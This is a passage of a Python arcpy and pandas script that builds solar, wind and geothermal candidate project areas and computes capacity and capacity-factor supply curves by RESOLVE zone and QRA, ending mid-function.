## Merge aggregated with intersected features ##\n ################################################\n\n # Merge aggregated polygons with larger, split polygons\n merged = arcpy.Merge_management([IntermediateErased, IntermediateEliminated2], \"in_memory/intermediateProjects\")\n \n ## AGAIN, INTERSECT Geographic Unit of Analysis, if provided\n if arcpy.Exists(geoUnits):\n print(\"Intersecting by geographic units of analysis\")\n arcpy.Intersect_analysis([merged, geoUnits], IntermediateIntersect_geoUnits , \"NO_FID\")\n print(\"Finished intersecting by geographic units of analysis\")\n else:\n IntermediateIntersect_geoUnits = merged\n \n # recalculate area\n arcpy.CalculateField_management(IntermediateIntersect_geoUnits, \"Area\", \"!Shape.Area@squarekilometers!\", \"PYTHON_9.3\", \"\")\n # select areas above minimum and save ## CREATE PROJECT FEATURE CLASS\n arcpy.Select_analysis(IntermediateIntersect_geoUnits, projectsOut, whereClauseMinContArea)\n ## Process: Summary Statistics\n ## arcpy.Statistics_analysis(selectOut, outputFGDB + filename + '_stats', \"Area SUM\", \"\") ## CREATE PROJECT STATS\n print('Finished merging')\n\n#############################################################\n## APPLY scriptToolB2 FUNCTION TO SITE SUITABILITY OUTPUTS ##\n#############################################################\n\n## Create list of category inputs to loop over\n## SOLAR:\nif tech == \"solar\":\n ft_ls = {\"Cat1\" : \"solarPV_0_0_nonEnv_r1_cat1b_singlepart_gt1km2\",\\\n \"Cat2\" : \"solarPV_0_0_nonEnv_r1_cat2f_singlepart_gt1km2\",\\\n \"Cat3\" : \"solarPV_0_0_nonEnv_r1_cat3c_singlepart_gt1km2\", \\\n \"Cat4\": \"solarPV_0_0_nonEnv_r1_cat4_singlepart_gt1km2\"}\n zoneType_ls = {\"state\": [os.path.join(mainInputFolder, \"siteSuitabilityInputs_nonEnv.gdb\\\\stateBound_baja\"), \"_PA_state\"], \\\n \"OOS_RESOLVEZONE\": [os.path.join(mainInputFolder, \"siteSuitabilityInputs_nonEnv.gdb\\\\QRA_proj_RESOLVE_ZONE_solar\"), \"_PA_OOS_RESOLVEZONE\"], \\\n \"CA_RESOLVEZONE\": [os.path.join(mainInputFolder, \"siteSuitabilityInputs_nonEnv.gdb\\\\SUPERCREZ_proj_CA_RESOLVE_ZONE\"), \"_PA_CA_RESOLVEZONE\"]}\n existingPlants = existingSolar\n fishnetWidth = \"2\"\n maxAreaAgg = \"4\"\n minAreaAgg = \"1\"\n\n## WIND:\nif tech == \"wind\":\n ft_ls = {\"Cat1\" : \"wind_0_03_nonEnv_r3_cat1b_singlepart_gt1km2\",\\\n \"Cat2\" : \"wind_0_03_nonEnv_r3_cat2f_singlepart_gt1km2\",\\\n \"Cat3\" : \"wind_0_03_nonEnv_r3_cat3c_singlepart_gt1km2\", \\\n \"Cat4\": \"wind_0_03_nonEnv_r3_cat4_singlepart_gt1km2\"}\n zoneType_ls = {\"state\": [os.path.join(mainInputFolder, \"siteSuitabilityInputs_nonEnv.gdb\\\\stateBound_baja\"), \"_PA_state\"], \\\n \"OOS_RESOLVEZONE\": [os.path.join(mainInputFolder, \"siteSuitabilityInputs_nonEnv.gdb\\\\QRA_proj_RESOLVE_ZONE_Wind\"), \"_PA_OOS_RESOLVEZONE\"], \\\n \"CA_RESOLVEZONE\": [os.path.join(mainInputFolder, \"siteSuitabilityInputs_nonEnv.gdb\\\\SUPERCREZ_proj_CA_RESOLVE_ZONE\"), \"_PA_CA_RESOLVEZONE\"]}\n existingPlants = existingWind\n fishnetWidth = \"3\"\n maxAreaAgg = \"9\"\n minAreaAgg = \"1\"\n\n## APPLY FUNCTION: loop through each category and zone type to create CPA feature classes\nfor cat in ft_ls:\n print(\"\")\n print(\"\")\n print(cat)\n for zoneType in zoneType_ls:\n print(\"\")\n inputNAME = os.path.join(mainOutputFolder, gdbFileName, ft_ls[cat])\n outputNAME = os.path.join(mainOutputFolder, gdbFileName, ft_ls[cat] + zoneType_ls[zoneType][1])\n ## Erase existing wind and solar projects out ot state\n if zoneType == \"OOS_RESOLVEZONE\" or zoneType == \"state\":\n print(\" Erasing existing power plants\")\n inputNAME_erasedExisting = arcpy.Erase_analysis(inputNAME, existingPlants, \"in_memory/erasedExisting\")\n ## if it's CA, then don't erase\n else:\n print(\" NOT erasing existing plants\")\n inputNAME_erasedExisting = inputNAME\n \n print(\" Working on \" + outputNAME)\n scriptToolB2(suitableSites= inputNAME_erasedExisting, \\\n projectsOut = outputNAME, \\\n scratch = scratch, \\\n templateRaster= os.path.join(mainInputFolder, \"siteSuitabilityInputs_nonEnv.gdb/SRTM_W_250m_proj_cl\"), \\\n countryBounds= os.path.join(mainInputFolder, \"siteSuitabilityInputs_nonEnv.gdb/WECC_USboundaries\"), \\\n geoUnits= zoneType_ls[zoneType][0], \\\n fishnetSize=int(fishnetWidth), \\\n fishnetDirectory= os.path.join(mainInputFolder, \"siteSuitabilityInputs_nonEnv.gdb\"), \\\n whereClauseMax='\"Area\" > ' + str(maxAreaAgg), \\\n whereClauseMin = 'Area < ' + str(minAreaAgg), \\\n whereClauseMinContArea = '\"Area\" > ' + str(\"1\"))\n print(\" Finished\")\n\n'''\n#####################################################################################################################################\n##----------CALCULATE OOS AVG CF AND TOTAL MW BY RESOLVE ZONE (eg., Wyoming_Wind) AND QRA (e.g., WY_SO, WY_NO) -------------------###\n#####################################################################################################################################\n\nPURPOSE: Takes CPAs (previous output) and creates a CSV supply curve within RESOLVE ZONEs and QRAs (Constrained)\n'''\n## Function to calculate supply curve \ndef calcSupplyCurve(inFeature, inRaster, inFeatureFileName, category, QRAs, RESOLVE_ZONE_FIELD):\n \n ## Delete Name RESOLVE_ZONE_FIELD if it already exists:\n fields = arcpy.ListFields(inFeature)\n fieldList = []\n for field in fields:\n fieldList.append(field.name)\n if RESOLVE_ZONE_FIELD in fieldList:\n print(\"Deleting existing field: \" + RESOLVE_ZONE_FIELD)\n arcpy.DeleteField_management(inFeature, RESOLVE_ZONE_FIELD)\n if \"Name\" in fieldList:\n print(\"Deleting existing field: \" + \"Name\")\n arcpy.DeleteField_management(inFeature, \"Name\")\n \n ############ CF CALC ##############\n ## Get average CAPACITY FACTOR per QRA; result only contains the Name field from the QRA feature class\n ## use the resource raster dataset\n CFtable = arcpy.sa.ZonalStatisticsAsTable(in_zone_data = QRAs, zone_field =\"Name\", \\\n in_value_raster = inRaster, \\\n out_table = \"in_memory/zonalStats_CF\", \\\n ignore_nodata = \"DATA\", statistics_type = \"MEAN\")\n \n # Join zonal statistics table of avg CF to QRA file to add the RESOLVE_ZONE_FIELD to the stats table\n arcpy.JoinField_management(in_data = CFtable, in_field = \"Name\", join_table = QRAs, \\\n join_field = \"Name\", fields = [RESOLVE_ZONE_FIELD])\n \n # Rename field MEAN to CF_avg\n arcpy.AlterField_management(in_table = CFtable, field = \"MEAN\", new_field_name = \"CF_avg_\" + category)\n \n \n ############ AREA CALC ############## \n ## calculating the area will require the feature class\n \n ## Clip suitable sites polygons using QRAs \n QRAclip = arcpy.Clip_analysis(in_features = inFeature, clip_features = QRAs, \\\n # out_feature_class = inFeature + \"_QRAclip\") \n out_feature_class = \"in_memory/QRAclip\") \n \n print(\"Finished clipping QRA for \" + inFeatureFileName)\n \n ## Calculate Area (geometry) of resources within QRAs\n arcpy.CalculateField_management(in_table = QRAclip, field = \"Area\", \\\n expression = \"!Shape.Area@squarekilometers!\", expression_type = \"PYTHON_9.3\")\n \n ## Spatial join of clipped polygons with QRAs to add Name and RESOLVE_ZONE_FIELD to clipped polygons\n QRAclip_joined = arcpy.SpatialJoin_analysis(target_features = QRAclip, join_features = QRAs, \\\n #out_feature_class = \"in_memory/\"+ inFeature + \"_QRAclip\" + \"_QRAjoined\", \\\n out_feature_class = \"in_memory/QRAclip\" + \"_QRAjoined\", \\\n join_operation = \"JOIN_ONE_TO_ONE\", join_type = \"KEEP_ALL\", \\\n match_option = \"INTERSECT\")\n \n print(\"Finished spatial join of QRA fields to feature class for \" + inFeatureFileName)\n \n ## summary statistics to get the total area per QRA (\"Name\") first; \n ## the resultant field in the table is automatically named \"SUM_Area\"\n areaQRAtable = arcpy.Statistics_analysis(in_table = QRAclip_joined, \\\n out_table = \"in_memory/sumStats_Area_QRA\", \\\n statistics_fields = [[\"Area\", \"SUM\"]], case_field = [RESOLVE_ZONE_FIELD, \"Name\"])\n \n # Rename field SUM_Area to Area\n arcpy.AlterField_management(in_table = areaQRAtable, field = \"SUM_Area\", new_field_name = \"Area_\" + category, \\\n new_field_alias = \"Area_\" + category)\n \n ## CaCLULATE capacity of each QRA from area\n arcpy.AddField_management(areaQRAtable, \"cap_MW_\" + category, \"DOUBLE\")\n \n arcpy.CalculateField_management(in_table = areaQRAtable, field = \"cap_MW_\" + category, \\\n expression = \"!Area_\" + category + \"!*\" + str(LUF), expression_type = \"PYTHON_9.3\")\n \n ## Calculate capacity for each RESOLVE_ZONE using summary stats on the QRA table (which has QRA and RESOLVE_ZONE_FIELD fields)\n areaRZ_table = arcpy.Statistics_analysis(in_table = areaQRAtable, \\\n out_table = \"in_memory/sumStats_Area_RZ\", \\\n statistics_fields = [[\"Area_\" + category, \"SUM\"],[\"cap_MW_\" + category, \"SUM\"]], case_field = [RESOLVE_ZONE_FIELD])\n \n # Rename field SUM_cap_MW to cap_MW_state\n arcpy.AlterField_management(in_table = areaRZ_table, field = \"SUM_cap_MW_\" + category, \\\n new_field_name = \"cap_MW_RESOLVE_ZONE_\" + category, \\\n new_field_alias = \"cap_MW_RESOLVE_ZONE_\" + category)\n \n arcpy.AlterField_management(in_table = areaRZ_table, field = \"SUM_Area_\" + category, \\\n new_field_name = \"Area_\" + category, \\\n new_field_alias = \"Area_\" + category)\n \n ## join table back to areaQRAtable to add cap_MW_state to the table\n arcpy.JoinField_management(in_data = areaQRAtable, in_field = RESOLVE_ZONE_FIELD, join_table = areaRZ_table, \\\n join_field = RESOLVE_ZONE_FIELD, fields = [\"cap_MW_RESOLVE_ZONE_\" + category])\n \n ## Calculate capacity averaged CF per RESOLVE ZONE\n ## sum(capacity(QRA)/capacity(State) * CF) for each QRA within each state\n ## join areaQRAtable with solarCFtable using Name to get the CF_avg field in the main table\n arcpy.JoinField_management(in_data = areaQRAtable, in_field = \"Name\", join_table = CFtable, \\\n join_field = \"Name\", fields = [\"CF_avg_\" + category])\n \n ## Calculate new field that is the (capacity(QRA)/capacity(State) * CF)\n arcpy.AddField_management(areaQRAtable, \"QRApropMW_\" + category, \"DOUBLE\")\n \n arcpy.CalculateField_management(in_table = areaQRAtable, field = \"QRApropMW_\" + category, \\\n expression = \"(!cap_MW_\" + category + \"!/!cap_MW_RESOLVE_ZONE_\" + category + \"!)*!CF_avg_\" + category + \"!\", \\\n expression_type = \"PYTHON_9.3\")\n \n ## sum (capacity(QRA)/capacity(State) * CF) for each state\n avgCF_byQRA_RZ = arcpy.Statistics_analysis(in_table = areaQRAtable, \\\n out_table = \"in_memory/avgCF_byQRA_RZ\", \\\n statistics_fields = [[\"QRApropMW_\" + category, \"SUM\"]], case_field = [RESOLVE_ZONE_FIELD])\n \n arcpy.AlterField_management(in_table = avgCF_byQRA_RZ, field = \"SUM_QRApropMW_\" + category, \\\n new_field_name = \"CF_avg_RESOLVE_ZONE_\" + category, \\\n new_field_alias = \"CF_avg_RESOLVE_ZONE_\" + category)\n \n ## join RESOLVE_ZONE total MW to state average CF into a single table:\n arcpy.JoinField_management(in_data = avgCF_byQRA_RZ, \\\n in_field = RESOLVE_ZONE_FIELD, join_table = areaRZ_table, \\\n join_field = RESOLVE_ZONE_FIELD, fields = [\"Area_\" + category, \"cap_MW_RESOLVE_ZONE_\" + category])#fields = [\"CF_avg_RESOLVE_ZONE_\" + category])\n \n ########################################\n ## CONVERT ARCPY TABLES TO PANDAS DFs ##\n ########################################\n \n ##### RESOLVE ZONE AVERAGES\n fields = arcpy.ListFields(avgCF_byQRA_RZ)\n fieldList = []\n for field in fields:\n fieldList.append(field.name)\n \n pattern = r'RESOLVE_ZONE_\\S|cap_MW_\\S|Area_\\S|CF_avg_\\S'\n fieldList = [x for x in fieldList if re.search(pattern, x)] \n \n ## convert gdb table to numpy array to Pandas DF (and transpose):\n stateAvgCFMW_df = pandas.DataFrame(arcpy.da.TableToNumPyArray(avgCF_byQRA_RZ, fieldList))\n \n ##### QRA AVERAGES\n fields = arcpy.ListFields(areaQRAtable)\n fieldList = []\n for field in fields:\n fieldList.append(field.name)\n fieldList.remove(\"cap_MW_RESOLVE_ZONE_\" + category) ## remove extra field\n \n pattern = r'RESOLVE_ZONE_\\S|cap_MW_\\S|Area_\\S|CF_avg_\\S|Name'\n fieldList = [x for x in fieldList if re.search(pattern, x)]\n \n ## convert gdb table to numpy array to Pandas DF (and transpose):\n QRAavgCFMW_df = pandas.DataFrame(arcpy.da.TableToNumPyArray(areaQRAtable, fieldList))\n \n \n print(\"Finished processing \" + inFeatureFileName) \n return stateAvgCFMW_df, QRAavgCFMW_df\n\n###################################################\n## APPLY calcSupplyCurve FUNCTION TO CPA OUTPUTS ##\n###################################################\n\n## Create list of inputs to loop over\n## SOLAR:\nif tech == \"solar\":\n ft_ls = {\"Cat1\" : [\"solarPV_0_0_nonEnv_r1_cat1b_singlepart_gt1km2_PA_OOS_RESOLVEZONE\", \"solarPV_0_0_nonEnv_r1_cat1b_singlepart_gt1km2\"],\\\n \"Cat2\" : [\"solarPV_0_0_nonEnv_r1_cat2f_singlepart_gt1km2_PA_OOS_RESOLVEZONE\", \"solarPV_0_0_nonEnv_r1_cat2f_singlepart_gt1km2\"],\\\n \"Cat3\" : [\"solarPV_0_0_nonEnv_r1_cat3c_singlepart_gt1km2_PA_OOS_RESOLVEZONE\", \"solarPV_0_0_nonEnv_r1_cat3c_singlepart_gt1km2\"], \\\n \"Cat4\": [\"solarPV_0_0_nonEnv_r1_cat4_singlepart_gt1km2_PA_OOS_RESOLVEZONE\", \"solarPV_0_0_nonEnv_r1_cat4_singlepart_gt1km2\"]}\n LUF = 30 # MW/km\n RESOLVE_ZONE_FIELD_param = \"RESOLVE_ZONE_solar\"\n\n## WIND:\nif tech == \"wind\":\n ft_ls = {\"Cat1\" : [\"wind_0_03_nonEnv_r3_cat1b_singlepart_gt1km2_PA_OOS_RESOLVEZONE\", \"wind_0_03_nonEnv_r3_cat1b_singlepart_gt1km2\"],\\\n \"Cat2\" : [\"wind_0_03_nonEnv_r3_cat2f_singlepart_gt1km2_PA_OOS_RESOLVEZONE\",\"wind_0_03_nonEnv_r3_cat2f_singlepart_gt1km2\"],\\\n \"Cat3\" : [\"wind_0_03_nonEnv_r3_cat3c_singlepart_gt1km2_PA_OOS_RESOLVEZONE\",\"wind_0_03_nonEnv_r3_cat3c_singlepart_gt1km2\"], \\\n \"Cat4\": [\"wind_0_03_nonEnv_r3_cat4_singlepart_gt1km2_PA_OOS_RESOLVEZONE\",\"wind_0_03_nonEnv_r3_cat4_singlepart_gt1km2\"]}\n LUF = 6.1 # MW/km\n RESOLVE_ZONE_FIELD_param = \"RESOLVE_ZONE_wind\"\n\n## Create ouutput list to append to\nstateAvgCFMW_ls = []\nQRAavgCFMW_ls = []\n\n## loop function over list of inputs\nfor cat in ft_ls:\n stateAvgCFMW, QRAavgCFMW = calcSupplyCurve(inFeature = os.path.join(mainOutputFolder, gdbFileName, ft_ls[cat][0]), \\\n inRaster = os.path.join(mainOutputFolder, gdbFileName, ft_ls[cat][1] + \"_rast\"), \\\n inFeatureFileName = ft_ls[cat][0], \\\n category = cat, \\\n QRAs = QRAfilePath,\\\n RESOLVE_ZONE_FIELD = RESOLVE_ZONE_FIELD_param) \n \n ## append output list\n stateAvgCFMW_ls.append(stateAvgCFMW)\n QRAavgCFMW_ls.append(QRAavgCFMW)\n\n## MERGE TABLES \n# StateAvg: this table reports the average CF and total MW of resources within all QRAs in each state, or otherwise RESOLVE ZONE, e.g., \"Wyoming_Wind\"\nstateAvgCFMW_merged = pandas.merge(stateAvgCFMW_ls[0], stateAvgCFMW_ls[1], how= 'outer', on = RESOLVE_ZONE_FIELD_param)\nfor tab in [stateAvgCFMW_ls[2], stateAvgCFMW_ls[3]]:\n stateAvgCFMW_merged = pandas.merge(stateAvgCFMW_merged, tab, how= 'outer', on = RESOLVE_ZONE_FIELD_param)\n\n# QRAavg: this table reports the average CF and total MW of resources within each QRA, e.g., WY_NO or WY_SO\nQRAavgCFMW_merged = pandas.merge(QRAavgCFMW_ls[0], QRAavgCFMW_ls[1], how= 'outer',on = \"Name\")\nfor tab in [QRAavgCFMW_ls[2],QRAavgCFMW_ls[3]]:\n QRAavgCFMW_merged = pandas.merge(QRAavgCFMW_merged, tab, how= 'outer',on = \"Name\")\n \n\n## SAVE TO CSV\n# This one will be used in the supply curve\nstateAvgCFMW_merged.to_csv(os.path.join(mainOutputFolder, supplyCurveFolder, tech + \"_OOS_RESOLVEZONE_avgCFMW_PA.csv\"))\n# This one will will not be used (just informational)\nQRAavgCFMW_merged.to_csv(os.path.join(mainOutputFolder, supplyCurveFolder, tech + \"_OOS_QRA_avgCFMW_PA.csv\"))\n\n'''\n############################################################################################\n## Create supply curves for state-wide (outside of QRAs) or CA RESOLVE ZONE MW and Avg CF ##\n############################################################################################\n\nPURPOSE: Takes CPAs (previous output) and creates a CSV supply curve within state boundaries (Unconstrained)\nUses same method as calcSupplyCurve for getting average CF and total MW per SuperCREZ \n'''\n\n## Create function\ndef calcSupplyCurve_state(inFeature, inRaster, inFeatureFileName, category, zonesFile, zoneField):\n \n ## Delete Name RESOLVE_ZONE_FIELD if it already exists:\n fields = arcpy.ListFields(inFeature)\n fieldList = []\n for field in fields:\n fieldList.append(field.name)\n if zoneField in fieldList:\n print(\"Deleting existing field: \" + zoneField)\n arcpy.DeleteField_management(inFeature, zoneField)\n if \"Name\" in fieldList:\n print(\"Deleting existing field: \" + \"Name\")\n arcpy.DeleteField_management(inFeature, \"Name\")\n \n #############################\n ## CALC TOTAL MW PER STATE ##\n #############################\n\n ## intersect to break up the features by state\n inFeature_stateInt = arcpy.Intersect_analysis(in_features = [inFeature, zonesFile], out_feature_class = \"in_memory/stateInt\")\n \n print(\"Finished intersect for \" + inFeatureFileName)\n \n ## ReCalculate Area (geometry)\n arcpy.CalculateField_management(in_table = inFeature_stateInt, field = \"Area\", \\\n expression = \"!Shape.Area@squarekilometers!\", expression_type = \"PYTHON_9.3\")\n \n ## summary statistics to get the total area per state; the resultant field in the table is \"SUM_Area\"\n areaTable = arcpy.Statistics_analysis(in_table = inFeature_stateInt, \\\n out_table = \"in_memory/inFeature_stateInt_AreaCalc\", \\\n statistics_fields = [[\"Area\", \"SUM\"]], case_field = [zoneField])\n \n ## Rename field from SUM_Area to Area\n arcpy.AlterField_management(in_table = areaTable, field = \"SUM_Area\", new_field_name = \"Area_\" + category, \\\n new_field_alias = \"Area_\" + category)\n \n ## Calcuylate capacity from area\n arcpy.AddField_management(areaTable, \"cap_MW_\" + category, \"DOUBLE\")\n \n arcpy.CalculateField_management(in_table = areaTable, field = \"cap_MW_\" + category, \\\n expression = \"!Area_\" + category + \"!*\" + str(LUF), expression_type = \"PYTHON_9.3\")\n \n ###########################\n ## CALC AVG CF PER STATE ##\n ###########################\n \n ## Get average CAPACITY FACTOR per state\n ## use the resource raster dataset\n CFtable = arcpy.sa.ZonalStatisticsAsTable(in_zone_data = zonesFile, zone_field = zoneField, \\\n in_value_raster = inRaster, \\\n out_table = \"in_memory/zonalStats_CF\", \\\n ignore_nodata = \"DATA\", statistics_type = \"MEAN\")\n \n arcpy.AlterField_management(in_table = CFtable, field = \"MEAN\", new_field_name = \"CF_avg_\" + category)\n \n #####################################\n ## Join MW, Area and CF_avg fields ##\n #####################################\n arcpy.JoinField_management(in_data = CFtable, in_field = zoneField, join_table = areaTable, \\\n join_field = zoneField, fields = [\"Area_\" + category, \"cap_MW_\" + category])\n \n \n ########################################\n ## CONVERT ARCPY TABLES TO PANDAS DFs ##\n ########################################\n \n fields = arcpy.ListFields(CFtable)\n fieldList = []\n for field in fields:\n fieldList.append(field.name)\n \n pattern = r'CF_avg_\\S|Area_\\S|cap_MW_\\S|NAME|RESOLVE_ZONE|STPOSTAL'\n fieldList = [x for x in fieldList if re.search(pattern, x)]\n \n ## convert gdb table to numpy array to Pandas DF:\n df = pandas.DataFrame(arcpy.da.TableToNumPyArray(CFtable, fieldList))\n \n print(\"FINISHED processing \" + inFeatureFileName ) \n \n return df\n\n#########################################################\n## APPLY calcSupplyCurve_state FUNCTION TO CPA OUTPUTS ##\n#########################################################\n \n## List of inputs to loop over\nif tech == \"solar\":\n ft_ls = {\"Cat1\" : \"solarPV_0_0_nonEnv_r1_cat1b_singlepart_gt1km2\",\\\n \"Cat2\" : \"solarPV_0_0_nonEnv_r1_cat2f_singlepart_gt1km2\",\\\n \"Cat3\" : \"solarPV_0_0_nonEnv_r1_cat3c_singlepart_gt1km2\", \\\n \"Cat4\": \"solarPV_0_0_nonEnv_r1_cat4_singlepart_gt1km2\"}\n LUF = 30 # MW/km\n statesFileFieldName = \"RESOLVE_ZONE_solar\"\n\nif tech == \"wind\":\n ft_ls = {\"Cat1\" : \"wind_0_03_nonEnv_r3_cat1b_singlepart_gt1km2\",\\\n \"Cat2\" : \"wind_0_03_nonEnv_r3_cat2f_singlepart_gt1km2\",\\\n \"Cat3\" : \"wind_0_03_nonEnv_r3_cat3c_singlepart_gt1km2\", \\\n \"Cat4\": \"wind_0_03_nonEnv_r3_cat4_singlepart_gt1km2\"}\n LUF = 6.1 # MW/km\n statesFileFieldName = \"RESOLVE_ZONE_wind\"\n\nzoneType_ls = {\"_PA_state\": [statesFilePath, statesFileFieldName, \"_OOS_state_avgCFMW_PA.csv\"], \\\n \"_PA_CA_RESOLVEZONE\": [SuperCREZ, \"RESOLVE_ZONE\",\"_CA_RESOLVEZONE_avgCFMW_PA.csv\"]}\n\n## APPLY FUNCTION IN LOOP\n## for each zone type (california RESOLVE Zones or OOS wall-to-wall/state)\nfor zone in zoneType_ls:\n ## output list to append \n stateAvgCFMW_w2w_ls = []\n inFeatureSuffix = zone ## \"_PA_CA_RESOLVEZONE\" or \"_PA_state\"\n zonesFileName = zoneType_ls[zone][0] ## feature class with boundaries: statesFilePath (for states) or SuperCREZ (for superCREZ or RESOLVE_ZONES in CA)\n zoneFieldName = zoneType_ls[zone][1] ## fieldname with the zone attribute: NAME (aggregate by superCREZ) or RESOLVE_ZONE (aggregate by RESOLVE_ZONE) or \"STPOSTAL\" (for states)\n csvSuffix = zoneType_ls[zone][2] ## \"_CA_RESOLVEZONE_avgCFMW.csv\" (superCREZ) or \"_CA_superCREZ_avgCFMW.csv\" (superCREZ) or \"_OOS_state_avgCFMW.csv\" (state averages)\n \n ## loop function over list of inputs\n for cat in ft_ls:\n stateAvgCFMW_w2w = calcSupplyCurve_state(inFeature = os.path.join(mainOutputFolder,gdbFileName, ft_ls[cat] + inFeatureSuffix), \\\n inRaster = os.path.join(mainOutputFolder, gdbFileName, ft_ls[cat] + \"_rast\"), \\\n inFeatureFileName = ft_ls[cat] + inFeatureSuffix, \\\n category = cat, \\\n zonesFile = zonesFileName,\\\n zoneField = zoneFieldName) \n \n ## append output list\n stateAvgCFMW_w2w_ls.append(stateAvgCFMW_w2w)\n \n ## MERGE TABLES \n # StateAvg\n stateAvgCFMW_w2w_merged = pandas.merge(stateAvgCFMW_w2w_ls[0], stateAvgCFMW_w2w_ls[1], how= 'outer', on = zoneFieldName)\n for tab in [stateAvgCFMW_w2w_ls[2], stateAvgCFMW_w2w_ls[3]]:\n stateAvgCFMW_w2w_merged = pandas.merge(stateAvgCFMW_w2w_merged, tab, how= 'outer', on = zoneFieldName)\n \n ## SAVE TO CSV\n stateAvgCFMW_w2w_merged.to_csv(path_or_buf = os.path.join(mainOutputFolder, supplyCurveFolder, tech + csvSuffix), index = False)\n\n'''\n########################################\n## OPTIONAL: COMPARE WITH ORB RESULTS ##\n########################################\n'''\n\n## append column with RESOLVE_ZONE\nfields = arcpy.ListFields(os.path.join(SuperCREZ))\nfieldList = []\nfor field in fields:\n fieldList.append(field.name)\npattern = r'NAME|RESOLVE_ZONE' \nfieldList = [x for x in fieldList if re.search(pattern, x)]\n \n## convert gdb table to numpy array to Pandas DF:\ndf_superCREZ = pandas.DataFrame(arcpy.da.TableToNumPyArray(SuperCREZ, fieldList))\nstateAvgCFMW_w2w_merged2 = pandas.merge(df_superCREZ, stateAvgCFMW_w2w_merged, how= 'outer', on = zoneFieldName)\n\ndf_ORB = pandas.read_csv(r\"C:\\Users\\Grace\\Documents\\TNC_beyond50\\ORBvisualization\\RPSCalculator6_relatedMaterials\\allTech_PotentialAreas_RPScalc_withFreshwater_copiedForPTOcomparison.csv\")\ndf_PV = df_ORB.filter(regex=('\\SPV\\S|\\SPV|PV\\S|NAME'), axis =1)\ndf_wind = df_ORB.filter(regex=('\\Swind\\S|\\Swind|Wind\\S|NAME'), axis =1)\n\nstateAvgCFMW_w2w_merged_wind = pandas.merge(stateAvgCFMW_w2w_merged2, df_wind, how= 'outer', on = zoneFieldName)\n## SAVE TO CSV\nstateAvgCFMW_w2w_merged_wind.to_csv(path_or_buf = os.path.join(mainOutputFolder, tech + \"__CAavgCFMW_w2w_superCREZ_allCat_withORB.csv\"), index = False)\n\nstateAvgCFMW_w2w_merged_PV = pandas.merge(stateAvgCFMW_w2w_merged2, df_PV, how= 'outer', on = zoneFieldName)\n## SAVE TO CSV\nstateAvgCFMW_w2w_merged_PV.to_csv(path_or_buf = os.path.join(mainOutputFolder, tech + \"__CAavgCFMW_w2w_superCREZ_allCat_withORB.csv\"), index = False)\n\n''' \n###########################################################\n## GET STATE-WIDE MW FOR GEOTHERMAL WITHIN RESOLVE ZONES ##\n###########################################################\n\nPURPOSE: Geothermal rsources are point locations, not polygons, which requires a different set of analyses \nDoes everything above for wind and solar, but for geothermal\n'''\n##################################################\n## CREATE SITE SUITABILITY AREAS FOR GEOTHERMAL ##\n##################################################\n\n## Geothermal environmental exclusion categories\nCat1 = collections.OrderedDict([(os.path.join(mainInputFolder, \"envData\\\\Cat1_solar\\\\Cat1_u_d_s.shp\"), [\"\", \"_cat1a\"]),\\\n (os.path.join(mainInputFolder, \"envData\\\\tnc_lands_cat1_2\\\\tnc_lands_cat1_easements_proj.shp\"), [\"_cat1a\", \"_cat1b\"])])\nCat2 = collections.OrderedDict([(os.path.join(mainInputFolder, \"envData\\\\Cat2\\\\both_p1\\\\Both_p1.shp\"), [\"_cat1b\", \"_cat2aa\"]),\\\n (os.path.join(mainInputFolder, \"envData\\\\Cat2\\\\both_p2\\\\Both_p2.shp\"), [\"_cat2aa\", \"_cat2b\"]),\\\n (os.path.join(mainInputFolder, \"envData\\\\Cat2\\\\geothermal_p1_p2\\\\Geothermal_p1.shp\"), [\"_cat2b\", \"_cat2c\"]),\\\n (os.path.join(mainInputFolder, \"envData\\\\Cat2\\\\geothermal_p1_p2\\\\Geothermal_p2.shp\"), [\"_cat2c\", \"_cat2d\"]),\\\n (os.path.join(mainInputFolder, \"envData\\\\Cat2\\\\0045_AHPRC_Cat2\\\\0045_AHPRC\\\\data\\\\v101\\\\nps_identified_high_potential_for_resource_conflict.gdb\\\\NPS_AHPRC\"), [\"_cat2d\", \"_cat2e\"]),\\\n (os.path.join(mainInputFolder, \"envData\\\\tnc_lands_cat1_2\\\\tnc_lands_cat2_feeAreas_proj.shp\"), [\"_cat2e\", \"_cat2f\"])])\nCat3 = collections.OrderedDict([(os.path.join(mainInputFolder, \"envData\\\\Cat3\\\\Cat3_geotherm_excl_base_proj.shp\"), [\"_cat2f\", \"_cat3\"])])\nCat4 = collections.OrderedDict([(os.path.join(mainInputFolder, \"envData\\\\Cat4\\\\Cat4_u_d_s_proj.shp\"), [\"_cat3\", \"_cat4\"])])\n\ngdbFileName = \"070618_resourceAssessment.gdb\"\ninputNAME = os.path.join(mainOutputFolder, gdbFileName, \"geothermal\")\n\nenvEx_ls = [Cat1, Cat2, Cat3, Cat4]\n\n## loop over each set of environmental exclusions for each category \nfor cat in envEx_ls:\n for ex in cat:\n ft = inputNAME + cat[ex][0]\n print(ft)\n outputFile = inputNAME + cat[ex][1]\n print(outputFile)\n ## erase\n print(\"Erasing \" + str(ex))\n arcpy.Erase_analysis(ft, ex, outputFile)\n\n########################################\n## CREATE SUPPLY CURVE FOR GEOTHERMAL ##\n########################################\n\ndef calcSupplyCurve_geothermal(inFeature, inFeatureFileName, category, zonesFile, zonesToSelect, zonesType, zoneField):\n \n #############################\n ## CALC TOTAL MW PER STATE ##\n #############################\n \n ## Spatial join of points with zones (QRAs or SuperCREZs)\n inFeature_joined = arcpy.SpatialJoin_analysis(target_features = inFeature, join_features = zonesFile, \\\n out_feature_class = inFeature + \"_\" + zonesType + \"Joined\", \\\n join_operation = \"JOIN_ONE_TO_ONE\", join_type = \"KEEP_ALL\", match_option = \"INTERSECT\")\n \n print(\"Finished spatial join for \" + inFeatureFileName)\n \n MWtable = arcpy.Statistics_analysis(in_table = inFeature_joined, \\\n out_table = \"in_memory/inFeature_MWCalc\", \\\n statistics_fields = [[\"MW\", \"SUM\"]], case_field = [zoneField])\n \n ## Rename field from SUM_Area to Area\n arcpy.AlterField_management(in_table = MWtable, field = \"SUM_MW\", new_field_name = \"cap_MW_\" + category, \\\n new_field_alias = \"cap_MW_\" + category)\n \n ########################################\n ## CONVERT ARCPY TABLES TO PANDAS DFs ##\n ########################################\n\n fields = arcpy.ListFields(MWtable)\n fieldList = []\n for field in fields:\n fieldList.append(field.name)\n \n print(fieldList)\n \n pattern = r'cap_MW_\\S|' + zoneField\n fieldList = [x for x in fieldList if re.search(pattern, x)]\n print(\"after selection: \")\n print(fieldList)\n \n ## convert gdb table to numpy array to Pandas DF:\n df = pandas.DataFrame(arcpy.da.TableToNumPyArray(MWtable, fieldList))\n \n print(\"FINISHED processing \" + 